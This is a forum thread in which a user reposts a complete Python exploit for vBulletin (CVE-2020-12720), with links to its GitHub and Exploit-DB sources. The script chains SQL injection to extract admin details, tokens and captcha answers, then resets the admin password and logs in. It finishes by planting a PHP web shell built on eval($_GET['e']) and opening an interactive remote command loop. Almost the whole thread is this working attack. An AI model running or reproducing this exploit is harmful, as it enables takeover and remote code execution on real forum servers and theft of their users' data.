Nytro Posted May 15, 2020 Report Posted May 15, 2020 #!/usr/bin/env python3 # rekter0, zenofex import requests import sys from random import randint if (len(sys.argv)<2 ): print('[*] usage: ./'+sys.argv[0]+' http://host/forum') exit() url = sys.argv[1] #CHECK s = requests.Session() r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"vbulletinrcepoc",8,7,6,5,4,3,2,1;-- -'}) if not 'vbulletinrcepoc' in r.text: print('[-] not vulnerable') exit() print('[+] Host is up and vulnerable') # GET TABLES PREFIXES r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 from information_schema.columns WHERE column_name=\'phrasegroup_cppermission\';-- -'}) table_prefix=r.json()['rawtext'].split('language')[0] print('[+] Table prefix '+table_prefix) # GET ADMIN DETAILS # assuming admin groupid=6, default install groups unchanged r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 from '+table_prefix+'user where usergroupid=6;-- -'}) admin_user,admin_id,admin_email,admin_orig_token = r.json()['rawtext'].split('|') print('[+] admin original token '+admin_orig_token) # REQUEST CAPTCHA r = s.post(url+'/ajax/api/hv/generateToken?',headers={'X-Requested-With': 'XMLHttpRequest'},data={'securitytoken':'guest'}) rhash=r.json()['hash'] r = s.get(url+'/hv/image?hash='+rhash) # GET CAPTCHA r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 from '+table_prefix+'humanverify limit 0,1-- -'}) #print r.text r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,(answer),8,7,6,5,4,3,2,1 from '+table_prefix+'humanverify limit '+str(int(r.json()['rawtext'])-1)+',1-- -'}) # REQUEST NEW PW CAPTCHA=r.json()['rawtext'] print('[+] Captcha '+CAPTCHA) r = s.post(url+'/auth/lostpw', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'email':admin_email,'humanverify[input]':CAPTCHA,'humanverify[hash]':rhash,'securitytoken':'guest'}) if not r.json()['response']==None: print('[-] reset pw failed') exit() print('[+] Resetting password') # RETRIEVE RESET TOKEN FROM DB # GET CAPTCHA r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 from '+table_prefix+'useractivation WHERE userid='+admin_id+' limit 0,1-- -'}) TOKEN=r.json()['rawtext'] # RESET PW r = s.post(url+'/auth/reset-password', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'userid':admin_id,'activationid':TOKEN,'new-password':'P4$$w0rd!','new-password-confirm':'P4$$w0rd!','securitytoken':'guest'}) if not 'Logging in' in r.text: print('[-] fail') exit() print('[!] new admin credentials {'+admin_user+':P4$$w0rd!}') # LOGIN r = s.post(url+'/auth/ajax-login', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'username':admin_user,'password':'P4$$w0rd!','securitytoken':'guest'}) TOKEN = r.json()['newtoken'] print('[+] Writing shell') #ACTIVATE SITE-BUILDER r = s.post(url+'/ajax/activate-sitebuilder', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'pageid':'1','nodeid':'0','userid':'1','loadMenu':'false','isAjaxTemplateRender':'true','isAjaxTemplateRenderWithData':'true','securitytoken':TOKEN}) r = s.post(url+'/auth/ajax-login', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'logintype':'cplogin','userid':admin_id,'password':'P4$$w0rd!','securitytoken':TOKEN}) # SAVE WIDGET r = s.post(url+'/ajax/api/widget/saveNewWidgetInstance', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'containerinstanceid':'0','widgetid':'23','pagetemplateid':'','securitytoken':TOKEN}) widgetinstanceid = r.json()['widgetinstanceid'] pagetemplateid = r.json()['pagetemplateid'] r = s.post(url+'/ajax/api/widget/saveAdminConfig', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'widgetid':'23','pagetemplateid':pagetemplateid,'widgetinstanceid':widgetinstanceid,'data[widget_type]':'','data[title]':'Unconfigured+PHP+Module','data[show_at_breakpoints][desktop]':'1','data[show_at_breakpoints][small]':'1','data[show_at_breakpoints][xsmall]':'1','data[hide_title]':'0','data[module_viewpermissions][key]':'show_all','data[code]':'eval($_GET["e"]);','securitytoken':TOKEN}) #SAVE PAGE myshell = 'myshell'+str(randint(10, 100)) r = s.post(url+'/admin/savepage', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'input[ishomeroute]':'0','input[pageid]':'0','input[nodeid]':'0','input[userid]':admin_id,'input[screenlayoutid]':'2','input[templatetitle]':myshell,'input[displaysections[0]]':'[]','input[displaysections[1]]':'[]','input[displaysections[2]]':'[{"widgetId":"23","widgetInstanceId":"'+str(widgetinstanceid)+'"}]','input[displaysections[3]]':'[]','input[pagetitle]':myshell,'input[resturl]':myshell,'input[metadescription]':'vBulletin Forums','input[pagetemplateid]':pagetemplateid,'url':url,'securitytoken':TOKEN}) r = s.get(url+'/'+myshell+'?e=echo \'pwwwwwwwwwwwwwwwwwwned!\';', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} ) if 'pwwwwwwwwwwwwwwwwwwned' in r.text: print('[!] GOT SHELL') while True: cmd = input('> ') r = s.get(url+'/'+myshell+'?e=system(\''+cmd+'\');', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} ) print(r.text.split('<div class="widget-content">')[1].split('</div>')[0].strip().rstrip()) Sursa: https://github.com/rekter0/exploits/blob/master/CVE-2020-12720/exploit.py Bine ca am scapat de mizeria aia de vBulletin. 1 Quote
Nytro Posted May 15, 2020 Author Report Posted May 15, 2020 Exploit-DB: https://www.exploit-db.com/exploits/48472 Quote